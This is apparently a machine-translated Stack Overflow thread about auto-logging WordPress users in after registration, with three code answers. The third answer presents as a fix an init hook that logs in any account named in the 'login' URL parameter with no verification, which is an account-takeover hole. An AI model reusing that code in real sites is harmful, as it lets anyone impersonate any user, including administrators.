4

我正在尝试在注册后自动登录用户。

我在functions.php文件中尝试这个:

    add_action( 'user_register', 'auto_login_user' );
    function auto_login_user($user_id) {
      $user = new WP_User($user_id);
      $user_login_var = $user->user_login;
      $user_email_var = stripslashes($user->user_email);
      $user_pass_var    = $user->user_pass;
      $creds = array();
      $creds['user_login'] = $user_login_var;
      $creds['user_password'] = $user_pass_var;
      $creds['remember'] = true;
      $user = wp_signon( $creds, false );
      if ( is_wp_error($user) )
        echo $user->get_error_message();
        
}

我收到错误

您为用户名“TheNewUserCreated”输入的密码不正确。忘记密码?

如何从 User 对象中获取密码?

另外因为这是模板registration.php中的自定义注册过程,所以我尝试使用$_POST 并在该文件中运行该函数,但我也没有成功...

编辑: 好的,我得到了加密密码,那么这里的解决方案是什么,我怎样才能自动登录用户?也许我可以在registration.php页面中做到这一点?

4

3 回答 3

5

将以下函数添加到functions.php文件

 function auto_login_new_user( $user_id ) {
        wp_set_current_user($user_id);
        wp_set_auth_cookie($user_id);
            // You can change home_url() to the specific URL,such as 
        //wp_redirect( 'http://www.wpcoke.com' );
        wp_redirect( home_url() );
        exit;
    }
 add_action( 'user_register', 'auto_login_new_user' );
于 2014-05-09T06:18:16.690 回答
3

如果您使用wp_insert_user();注册用户然后自动登录他们很简单。如果成功,此函数返回用户 ID,因此使用它来登录该用户。

$id = wp_insert_user($data);
//so if the return is not an wp error object then continue with login
if(!is_wp_error($id)){
    wp_set_current_user($id); // set the current wp user
    wp_set_auth_cookie($id); // start the cookie for the current registered user
}

但要遵循你已经拥有的东西,它可能是这样的:

add_action( 'user_register', 'auto_login_user' );
function auto_login_user($user_id) {
    wp_set_current_user($user_id); // set the current wp user
    wp_set_auth_cookie($user_id); // start the cookie for the current registered user
}
//this code is a bit tricky, if you are admin and you want to create a user then your admin session will be replaced with the new user you created :)
于 2013-09-04T19:13:53.180 回答
1
function auto_login() {
            $getuserdata=get_user_by('login',$_GET['login']);
            $tuserid=$getuserdata->ID;
            $user_id = $tuserid;
            $user = get_user_by( 'id', $user_id );
            if( $user ) {
                wp_set_current_user( $user_id, $user->user_login );
                wp_set_auth_cookie( $user_id );
                do_action( 'wp_login', $user->user_login );

            }
        }
        add_action('init', 'auto_login');

我和你有同样的问题,找到了这个最好的解决方案。在你的functions.php文件中试试这个。还有一件事是使用functions.php文件中的函数提交您的重置表单

于 2016-07-21T11:42:29.050 回答